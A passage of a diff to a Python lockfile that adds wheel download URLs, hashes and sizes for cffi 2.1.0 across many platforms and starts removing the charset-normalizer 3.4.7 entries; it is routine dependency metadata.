"https://files.pythonhosted.org/packages/84/4c/82f132cb4418ee6d953d982b19191e87e2a6372c8a4ce36e50b69d6ade4a/cffi-2.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:716ff8ec22f20b4d988b12884086bcef0fc99737043e503f7a3935a6be99b1ea", size = 184746, upload-time = "2026-07-06T21:33:08.071Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1c/4ed5a0e5bdca6cbc275556de3328dd1b76fd0c11cc13c88fe66d1d8715f2/cffi-2.1.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:63960549e4f8dc41e31accb97b975abaecfc44c03e396c093a6436763c2ea7db", size = 214747, upload-time = "2026-07-06T21:33:09.671Z" }, + { url = "https://files.pythonhosted.org/packages/3a/a6/e879bb68cc23a2bc9ba8f4b7d8019f0c2694bad2ab6c4a3701d429439f58/cffi-2.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ff067a8d8d880e7809e4ac88eb009bb848870115317b306666502ccad30b147f", size = 222392, upload-time = "2026-07-06T21:33:10.896Z" }, + { url = "https://files.pythonhosted.org/packages/88/f6/01890cfd63c08f8eb96a8319b0443690197d240a8bd6346048cf7bde9190/cffi-2.1.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:3b926723c13eba9f81d2ef3820d63aeceec3b2d4639906047bf675cb8a7a500d", size = 210285, upload-time = "2026-07-06T21:33:12.251Z" }, + { url = "https://files.pythonhosted.org/packages/a6/cf/2b684132056f438567b61e19d690dd31cd0921ace051e0a458be6074369e/cffi-2.1.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:47ff3a8bfd8cb9da1af7524b965127095055654c177fcfc7578debcb015eecd0", size = 208801, upload-time = "2026-07-06T21:33:13.617Z" }, + { url = "https://files.pythonhosted.org/packages/6f/08/f2e7d62c460faae0926f2d6e423694aa409ced3bc1fe2927a0a6e5f05416/cffi-2.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:799416bae98336e400981ff6e532d67d5c709cfb30afb79865a1315f94b0e224", size = 221808, upload-time = "2026-07-06T21:33:15.466Z" }, + { url = "https://files.pythonhosted.org/packages/38/37/04f54b8e63a02f3d908332c9effbf8c366167c6f733ed8a3d4f79b7e2a1e/cffi-2.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:961be50688f7fba2fa65f63712d3b9b341a22311f5253460ce933f52f0de1c8c", size = 225241, upload-time = "2026-07-06T21:33:16.869Z" }, + { url = "https://files.pythonhosted.org/packages/a9/d6/c72eecca433cd3e681c65ed313ab4835d9d4a379704d0f628a6a05f51c2e/cffi-2.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:bf5c6cf48238b0eb4c086978c492ad1cbc22373fc5b2d7353b3a598ce6db887a", size = 223588, upload-time = "2026-07-06T21:33:18.239Z" }, + { url = "https://files.pythonhosted.org/packages/c6/4b/e706f67279140f92939da3475ad610df18bfd52d50f14953a8e5fede71d5/cffi-2.1.0-cp313-cp313-win32.whl", hash = "sha256:db3eb7d46527159a878ec3460e9d40615bc25ba337d477db681aea6e4f05c5d2", size = 175248, upload-time = "2026-07-06T21:33:19.799Z" }, + { url = "https://files.pythonhosted.org/packages/5a/47/59eb7975cb0e4ef0afa764ea945b29a5bb4537a9f771cb7d6c8a5dd74c95/cffi-2.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:8e74a6135550c4748af665b1b1118b6aab33b1fc6a16f9aff630af107c3b4512", size = 185717, upload-time = "2026-07-06T21:33:21.47Z" }, + { url = "https://files.pythonhosted.org/packages/5a/af/34fee85c48f8d94efc8597bc09470c9dd274c145f1c12e0fbc6ab6d38d74/cffi-2.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:2282cd5e38aa8accd03e99d1256af8411c84cdbee6a89d841b563fdbd1f3e50f", size = 180114, upload-time = "2026-07-06T21:33:22.515Z" }, + { url = "https://files.pythonhosted.org/packages/d8/f0/81478e482afa03f6d18dc8f2afb5edc45b3080853b634b5ed91961be0998/cffi-2.1.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:d2117334c3af3bdcb9a88522b844a2bdb5efdc4f71c6c822df55486ae1c3347a", size = 194142, upload-time = "2026-07-06T21:33:23.657Z" }, + { url = "https://files.pythonhosted.org/packages/7d/95/8de304305cd9204974b0ca051b86d307cafca13aa575a0ef1b44d92c0d8c/cffi-2.1.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:702c436735fbe99d59ada02a1f65cfc0d31c0ee8b7290912f8fbc5cd1e4b16c3", size = 196819, upload-time = "2026-07-06T21:33:25.007Z" }, + { url = "https://files.pythonhosted.org/packages/20/71/7c8372d30e42415602ed9f268f7cfd66f1b855fed881ecd168bcb45dbc0b/cffi-2.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:1ff3456eab0d889592d1936d6125bbfbc7ae4d3354a700f8bd80450a66445d4d", size = 184965, upload-time = "2026-07-06T21:33:26.605Z" }, + { url = "https://files.pythonhosted.org/packages/d6/5c/584e626835f0375c928176c04137c96927165cb8733cdb3150ec04e5ee5e/cffi-2.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c4165821e131d6d4ca444347c2b694e2311bcfa3fe5a861cc72968f28867beac", size = 184952, upload-time = "2026-07-06T21:33:27.823Z" }, + { url = "https://files.pythonhosted.org/packages/2e/d2/065fcae1c73979fac8e054462478d0ff8a29c40cdc2ed7ea5676a061df53/cffi-2.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:276f20fffd7b396e12516ba8edf9509210ac248cbbc5acbc39cd512f9f59ebe6", size = 222353, upload-time = "2026-07-06T21:33:29.178Z" }, + { url = "https://files.pythonhosted.org/packages/ed/a5/e8bbb1ce5b3ac2f53ad6a10bde44318a5a8d99d4f4a000d44a6e39aeb3e4/cffi-2.1.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7d5980a3433d4b71a5e120f9dd551403d7824e31e2e67124fe2769c404c06913", size = 210051, upload-time = "2026-07-06T21:33:30.534Z" }, + { url = "https://files.pythonhosted.org/packages/28/ed/c127d3ac36e899c965e3361357c3befacd6578c03f40125183e41c3b219e/cffi-2.1.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6ca4919c6e4f89aa99c42510b42cf54596892c00b3f9077f6bdd1505e24b9c8d", size = 208630, upload-time = "2026-07-06T21:33:31.753Z" }, + { url = "https://files.pythonhosted.org/packages/cc/d7/97d3136f81db489ec8d1d67748c110d6c994268fd7528014aa9f2b085e4e/cffi-2.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d53d10f7da99ae46f7373b9150393e9c5eab9b224909982b43832668de4779f5", size = 221593, upload-time = "2026-07-06T21:33:33.044Z" }, + { url = "https://files.pythonhosted.org/packages/d3/27/93195977168ee63aed233a1a0993a2178798654d1f4bddcdd321d6fd3b21/cffi-2.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c351efb95e832a853a29361675f33a7ce53de1a109cd73fd47af0712213aa4ce", size = 225146, upload-time = "2026-07-06T21:33:34.224Z" }, + { url = "https://files.pythonhosted.org/packages/b3/c1/6dbd291ee2ae5a50a034aa057207081f545923bbf15dad4511e985aafff5/cffi-2.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7c7a88e2bac086f06d14577332760bdeecc42bdec8ac4077f6260557d9326", size = 223240, upload-time = "2026-07-06T21:33:35.57Z" }, + { url = "https://files.pythonhosted.org/packages/0f/6f/ade5ce9863a57992a6ea3d0d10d7e29b8749fc127204b3d493d667b2815f/cffi-2.1.0-cp314-cp314-win32.whl", hash = "sha256:1854b724d00f6654c742097d5387569021be12d3a0f770eae1df8f8acfcc6acd", size = 177723, upload-time = "2026-07-06T21:33:51.626Z" }, + { url = "https://files.pythonhosted.org/packages/41/de/92b9eeed4ae4a21d6fd9b2a2c8505cbed573299902ea73981cc13f7ff62c/cffi-2.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:1b96bfe2c4bd825681b7d311ad6d9b7280a091f43e8f63da5729638083cd3bfb", size = 187937, upload-time = "2026-07-06T21:33:53.403Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1a/cc6ae6c2913a03aab8898eee57963cf1035b8df5872ed8b9115fcc7e2be8/cffi-2.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:7d28dff1db6764108bc30788d85d61c876beff416d9a49cb9dd7c5a9f34f5804", size = 183001, upload-time = "2026-07-06T21:33:54.74Z" }, + { url = "https://files.pythonhosted.org/packages/14/f0/134c00ce0779ec86dea2aa1aac69339c2741a8045072676763512363a2ea/cffi-2.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7ea6b3e2c4250ff1de21c630fe72d0f63eb95c2c32ffbf64a358cf4a8836d714", size = 188538, upload-time = "2026-07-06T21:33:36.792Z" }, + { url = "https://files.pythonhosted.org/packages/50/d8/3b86aba791cb610d24e8a3e1b2cd529e71fa15096b04e4d4e360049d4a4c/cffi-2.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6af371f3767faeffc6ac1ef57cdfd25844403e9d3f476c5537caee499de96376", size = 188230, upload-time = "2026-07-06T21:33:38.011Z" }, + { url = "https://files.pythonhosted.org/packages/14/d0/117dcd9209255ad8571fbc8c92ef32593a1d294dcec91ddc4e4db50606f2/cffi-2.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb4e8997a49aa2c08a3e43c9045d224448b8941d88e7ac163c7d383e560cbf98", size = 223899, upload-time = "2026-07-06T21:33:39.514Z" }, + { url = "https://files.pythonhosted.org/packages/b6/3d/f20f8b886b254e3ad10e15cd4186d3aed49f3e6a35ab37aab9f8f25f7c03/cffi-2.1.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:bf01d8c84cbea96b944c73b22182e6c7c432b3475632b8111dbfdc95ddad6e13", size = 211652, upload-time = "2026-07-06T21:33:40.851Z" }, + { url = "https://files.pythonhosted.org/packages/28/3b/fad54de07260b93ddeef4b96d0131d57ea900675df1d410ae1deee52d7a6/cffi-2.1.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:33eb1ad83ebe8f313e0df035c406227d55a79456704a863fad9842136af5ad7d", size = 210755, upload-time = "2026-07-06T21:33:42.183Z" }, + { url = "https://files.pythonhosted.org/packages/cc/82/3d5c705acb7abbba9bbd7d79b8e62e0f25b6120eb7ae6ac49f1b721722fe/cffi-2.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ac0f1a2d0cfa7eea3f2aaf006ab6e70e8feeb16b75d65b7e5939982ca2f11056", size = 223933, upload-time = "2026-07-06T21:33:43.603Z" }, + { url = "https://files.pythonhosted.org/packages/6c/d0/47e338384ab6b1004241002fa616301020cea4fc95f283506565d252f276/cffi-2.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c16914df9fb7f500e440e6875fa23ff5e0b31db01fa9c06af98d59a91f0dc2e4", size = 226749, upload-time = "2026-07-06T21:33:45.046Z" }, + { url = "https://files.pythonhosted.org/packages/70/25/65bd5b58ea4bfdfc15cde02cb5365f89ef8ab8b2adfb8fe5c4bd4233382f/cffi-2.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5ecbd0499275d57506d397eebe1981cee87b47fcd9ef5c22cab7ed7644a39a94", size = 225703, upload-time = "2026-07-06T21:33:46.374Z" }, + { url = "https://files.pythonhosted.org/packages/dc/78/aa01ac599a8a4322533d45a1f9bc93b338276d2d59dabbe7c6d92a775c81/cffi-2.1.0-cp314-cp314t-win32.whl", hash = "sha256:7d034dcffa09e9a46c93fa3a3be402096cb5354ac6e41ab8e5cc9cd8b642ad76", size = 182857, upload-time = "2026-07-06T21:33:47.696Z" }, + { url = "https://files.pythonhosted.org/packages/b9/26/d00496b22de4d4228f32dde94ad996f350c8aad676d63bcca0743c8dea4d/cffi-2.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0582a58f3051372229ca8e7f5f589f9e5632678208d8636fea3676711fdf7fe5", size = 194065, upload-time = "2026-07-06T21:33:48.953Z" }, + { url = "https://files.pythonhosted.org/packages/d5/dd/0c7dbf815a579ff005008a2d815a55d6bb047c349eef536d9dc53d3f0a8d/cffi-2.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:510aeeeac94811b138077451da1fb18b308a5feab47dd2b603af55804155e1c8", size = 186404, upload-time = "2026-07-06T21:33:50.309Z" }, + { url = "https://files.pythonhosted.org/packages/55/c7/8c8c50cb11c6750051daf12164098a9a6f027ac4356967fd4d800a07f242/cffi-2.1.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:2e9dabb9abcb7ad15938c7196ad5c1718a4e6d33cc79b4c0209bdb64c4a54a5c", size = 194121, upload-time = "2026-07-06T21:33:56.109Z" }, + { url = "https://files.pythonhosted.org/packages/99/e2/67680bf19a6b60d2bb7ff83baefa2a4c3d2d7dc0f3277034b802e1fc504c/cffi-2.1.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:37f525a7e7e50c017fdebe58b787be310ad59357ae43a053943a6e1a6c526001", size = 196820, upload-time = "2026-07-06T21:33:57.288Z" }, + { url = "https://files.pythonhosted.org/packages/ed/da/4bbe583a3b3a5c8c60892124fe17f3fa3656523faf0d3484eae90f091853/cffi-2.1.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:95f2954c2c9473d892eca6e0409f3568b37ab62a8eedb122461f73cc273476e3", size = 184936, upload-time = "2026-07-06T21:33:58.765Z" }, + { url = "https://files.pythonhosted.org/packages/e5/4b/1f4c36ab273980d7aa75bb126ea4f8971f24a96108acad3a0a084028c57b/cffi-2.1.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:cdf2448aab5f661c9315308ec8b93f4e8a1a67a3c733f8631067a2b67d5913dc", size = 185045, upload-time = "2026-07-06T21:34:00.085Z" }, + { url = "https://files.pythonhosted.org/packages/ef/c3/ad299dc38f3583f8d916b299f028af418a9ec98bc695fcbebeae7420691c/cffi-2.1.0-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:90bec57cf82089383bd06a605b3eb8daebf7e5a668520beaf6e327a83a947699", size = 222342, upload-time = "2026-07-06T21:34:01.814Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d8/df4543cc087245044ed02ef3ad8e0a26619d0075ac7a77a12dc81177851b/cffi-2.1.0-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6274dcb2d15cef48daa73ed1be5a40d501d74dccd0cd6db364776d12cb6ba022", size = 210073, upload-time = "2026-07-06T21:34:03.255Z" }, + { url = "https://files.pythonhosted.org/packages/2c/0e/fac738d73728c6cea2a88a2883dca54892496cbba88a1dc1f2909cb8a6f5/cffi-2.1.0-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b71d409cccee78310ab5dec549aed052aaea483346e282c7b02362596e01bb0", size = 208551, upload-time = "2026-07-06T21:34:04.433Z" }, + { url = "https://files.pythonhosted.org/packages/e6/3f/0b04a700dd64f465c93020253a793a82c9b4dff9961f48facd0df945d9b8/cffi-2.1.0-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7d3538f9c0e50670f4deb93dbb696576e60590369cae2faf7de681e597a8a1f1", size = 221649, upload-time = "2026-07-06T21:34:06.157Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/b7379a5704c79eda57ce075869ba70a0368d1c850f803b3c0d078d39dcaf/cffi-2.1.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:8f9ec95b8a043d3dfbc74d9abc6f7baf524dd27a8dc160b0a32ff9cdab650c28", size = 225203, upload-time = "2026-07-06T21:34:07.489Z" }, + { url = "https://files.pythonhosted.org/packages/5a/02/d5e6c43ea85c41bda2a184a3418f195fe7cf602967a8d2b94e085b83deef/cffi-2.1.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:af5e2915d41fe6c961694d7bfdc8562942638200f3ce2765dfb8b745cf997629", size = 223263, upload-time = "2026-07-06T21:34:08.712Z" }, + { url = "https://files.pythonhosted.org/packages/2c/d8/772b8259bf75749adffb1c546828978381fb516f60cf701f6c83daf60c85/cffi-2.1.0-cp315-cp315-win32.whl", hash = "sha256:0a42c688d19fca6e095a53c6a6e2295a5b050a8b289f109adab02a9e61a25de6", size = 177696, upload-time = "2026-07-06T21:34:26.355Z" }, + { url = "https://files.pythonhosted.org/packages/2f/dd/afa2191fc6d57fedd26e5844a2fe2fcc0bbfa00961bbaa5a41e4921e7cca/cffi-2.1.0-cp315-cp315-win_amd64.whl", hash = "sha256:bccbbb5ee76a61f9d99b5bf3846a51d7fca4b6a732fe46f89295610edaf41853", size = 187914, upload-time = "2026-07-06T21:34:27.58Z" }, + { url = "https://files.pythonhosted.org/packages/05/ef/6cd4f8c671517162379dc79cfae5aea9106bc38abb89628d5c16adf6a838/cffi-2.1.0-cp315-cp315-win_arm64.whl", hash = "sha256:8d35c139744adb3e727cd51b1a18324bbe44b8bd41bf8322bca4d41289f48eda", size = 183004, upload-time = "2026-07-06T21:34:28.905Z" }, + { url = "https://files.pythonhosted.org/packages/11/b6/12fc55092817a5faa26fb8c40c7f9d662e11a46ee248c137aafc42517d92/cffi-2.1.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:f9912624a0c0b834b7520d7769b3644453aabc0a7e1c839da7359f050750e9bc", size = 188378, upload-time = "2026-07-06T21:34:09.926Z" }, + { url = "https://files.pythonhosted.org/packages/8d/2e/cdac88979f295fde5daa69622c7d2111e56e7ceb94f211357fbe452339e4/cffi-2.1.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:df92f2aba50eb4d96718b68ef76f2e57a57b54f2fa62333496d16c6d585a85ca", size = 188319, upload-time = "2026-07-06T21:34:11.101Z" }, + { url = "https://files.pythonhosted.org/packages/e0/27/1d0b408497e41a74795af122d7b603c418c5fed0171450f899afd04e594f/cffi-2.1.0-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0520e1f4c35f44e209cbbb421b67eec42e6a157f59444dfb6058874ff3610e5d", size = 223904, upload-time = "2026-07-06T21:34:12.606Z" }, + { url = "https://files.pythonhosted.org/packages/8b/31/e115c985105dd7ffb32444505f18ceb874bb42d992af05d5dced7ecf1980/cffi-2.1.0-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:3681e031db29958a7502f5c0c9d6bbc4c36cb20f7b104086fa642d1799631ff8", size = 211554, upload-time = "2026-07-06T21:34:13.987Z" }, + { url = "https://files.pythonhosted.org/packages/5a/67/9e6e09409336d9e515c58367e7cfcf4f89df06ad25252675595a58eb59d5/cffi-2.1.0-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:762f99479dcb369f60ab9017ad4ab97a36a1dd7c1ee5a3b15db0f4b8659120cd", size = 210795, upload-time = "2026-07-06T21:34:15.972Z" }, + { url = "https://files.pythonhosted.org/packages/19/e5/d3cc82a4a0be7902af279c04181ad038449c096734464a5ae1de3e1401bd/cffi-2.1.0-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0611e7ebf90573a535ebdc33ae9da222d037853983e13359f580fab781ca017f", size = 223843, upload-time = "2026-07-06T21:34:17.509Z" }, + { url = "https://files.pythonhosted.org/packages/b9/65/b434abc97ce7cecc2c640fde160507c0ecc7e21544b483ba3325d2e2ea17/cffi-2.1.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:86cf8755a791f72c85dc287128cc62d4f24d392e3f1e15837245623f4a33cccc", size = 226773, upload-time = "2026-07-06T21:34:19.05Z" }, + { url = "https://files.pythonhosted.org/packages/b5/9f/d4dc66ca651eb1145a133314cda721abf13cfac3d28c4a0402263ae6ad75/cffi-2.1.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:ba00f661f8ba35d075c937174e27c2c421cec3942fd2e0ea3e66996757c0fdd9", size = 225719, upload-time = "2026-07-06T21:34:20.576Z" }, + { url = "https://files.pythonhosted.org/packages/68/5a/e536c528bc8057496c360c0978559a2dc45653f89dd6151078aa7d8fca1a/cffi-2.1.0-cp315-cp315t-win32.whl", hash = "sha256:cb96698e3c7413d906ce83f8ffd245ec1bd94707541f299d0ce4d6b0193e982b", size = 182760, upload-time = "2026-07-06T21:34:22.059Z" }, + { url = "https://files.pythonhosted.org/packages/d3/0b/0ffe8b82d3875bced5fa1e7986a7a46b748262a40ab7f60b475eb9fb1bb3/cffi-2.1.0-cp315-cp315t-win_amd64.whl", hash = "sha256:f146d154428a2523f9cc7936c02353c2459b8f6cf07d3cd1ee1c0a611109c5d5", size = 193769, upload-time = "2026-07-06T21:34:23.589Z" }, + { url = "https://files.pythonhosted.org/packages/a0/17/1073b53b68c9b5ca6914adf5f8bf55aacc2d3be102418c90700160ea8605/cffi-2.1.0-cp315-cp315t-win_arm64.whl", hash = "sha256:cbb7640ce37159548d2147b5b8c241f962143d4c71231431820783f4dc78f210", size = 186405, upload-time = "2026-07-06T21:34:24.857Z" }, ] [[package]] name = "charset-normalizer" -version = "3.4.7" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/26/08/0f303cb0b529e456bb116f2d50565a482694fbb94340bf56d44677e7ed03/charset_normalizer-3.4.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d", size = 315182, upload-time = "2026-04-02T09:25:40.673Z" }, - { url = "https://files.pythonhosted.org/packages/24/47/b192933e94b546f1b1fe4df9cc1f84fcdbf2359f8d1081d46dd029b50207/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8", size = 209329, upload-time = "2026-04-02T09:25:42.354Z" }, - { url = "https://files.pythonhosted.org/packages/c2/b4/01fa81c5ca6141024d89a8fc15968002b71da7f825dd14113207113fabbd/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790", size = 231230, upload-time = "2026-04-02T09:25:44.281Z" }, - { url = "https://files.pythonhosted.org/packages/20/f7/7b991776844dfa058017e600e6e55ff01984a063290ca5622c0b63162f68/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc", size = 225890, upload-time = "2026-04-02T09:25:45.475Z" }, - { url = "https://files.pythonhosted.org/packages/20/e7/bed0024a0f4ab0c8a9c64d4445f39b30c99bd1acd228291959e3de664247/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393", size = 216930, upload-time = "2026-04-02T09:25:46.58Z" }, - { url = "https://files.pythonhosted.org/packages/e2/ab/b18f0ab31cdd7b3ddb8bb76c4a414aeb8160c9810fdf1bc62f269a539d87/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153", size = 202109, upload-time = "2026-04-02T09:25:48.031Z" }, - { url = "https://files.pythonhosted.org/packages/82/e5/7e9440768a06dfb3075936490cb82dbf0ee20a133bf0dd8551fa096914ec/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af", size = 214684, upload-time = "2026-04-02T09:25:49.245Z" }, - { url = "https://files.pythonhosted.org/packages/71/94/8c61d8da9f062fdf457c80acfa25060ec22bf1d34bbeaca4350f13bcfd07/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34", size = 212785, upload-time = "2026-04-02T09:25:50.671Z" }, - { url = "https://files.pythonhosted.org/packages/66/cd/6e9889c648e72c0ab2e5967528bb83508f354d706637bc7097190c874e13/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1", size = 203055, upload-time = "2026-04-02T09:25:51.802Z" }, - { url = "https://files.pythonhosted.org/packages/92/2e/7a951d6a08aefb7eb8e1b54cdfb580b1365afdd9dd484dc4bee9e5d8f258/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752", size = 232502, upload-time = "2026-04-02T09:25:53.388Z" }, - { url = "https://files.pythonhosted.org/packages/58/d5/abcf2d83bf8e0a1286df55cd0dc1d49af0da4282aa77e986df343e7de124/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53", size = 214295, upload-time = "2026-04-02T09:25:54.765Z" }, - { url = "https://files.pythonhosted.org/packages/47/3a/7d4cd7ed54be99973a0dc176032cba5cb1f258082c31fa6df35cff46acfc/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616", size = 227145, upload-time = "2026-04-02T09:25:55.904Z" }, - { url = "https://files.pythonhosted.org/packages/1d/98/3a45bf8247889cf28262ebd3d0872edff11565b2a1e3064ccb132db3fbb0/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a", size = 218884, upload-time = "2026-04-02T09:25:57.074Z" }, - { url = "https://files.pythonhosted.org/packages/ad/80/2e8b7f8915ed5c9ef13aa828d82738e33888c485b65ebf744d615040c7ea/charset_normalizer-3.4.7-cp310-cp310-win32.whl", hash = "sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374", size = 148343, upload-time = "2026-04-02T09:25:58.199Z" }, - { url = "https://files.pythonhosted.org/packages/35/1b/3b8c8c77184af465ee9ad88b5aea46ea6b2e1f7b9dc9502891e37af21e30/charset_normalizer-3.4.7-cp310-cp310-win_amd64.whl", hash = "sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943", size = 159174, upload-time = "2026-04-02T09:25:59.322Z" }, - { url = "https://files.pythonhosted.org/packages/be/c1/feb40dca40dbb21e0a908801782d9288c64fc8d8e562c2098e9994c8c21b/charset_normalizer-3.4.7-cp310-cp310-win_arm64.whl", hash = "sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008", size = 147805, upload-time = "2026-04-02T09:26:00.756Z" }, - { url = "https://files.pythonhosted.org/packages/c2/d7/b5b7020a0565c2e9fa8c09f4b5fa6232feb326b8c20081ccded47ea368fd/charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7", size = 309705, upload-time = "2026-04-02T09:26:02.191Z" }, - { url = "https://files.pythonhosted.org/packages/5a/53/58c29116c340e5456724ecd2fff4196d236b98f3da97b404bc5e51ac3493/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7", size = 206419, upload-time = "2026-04-02T09:26:03.583Z" }, - { url = "https://files.pythonhosted.org/packages/b2/02/e8146dc6591a37a00e5144c63f29fb7c97a734ea8a111190783c0e60ab63/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e", size = 227901, upload-time = "2026-04-02T09:26:04.738Z" }, - { url = 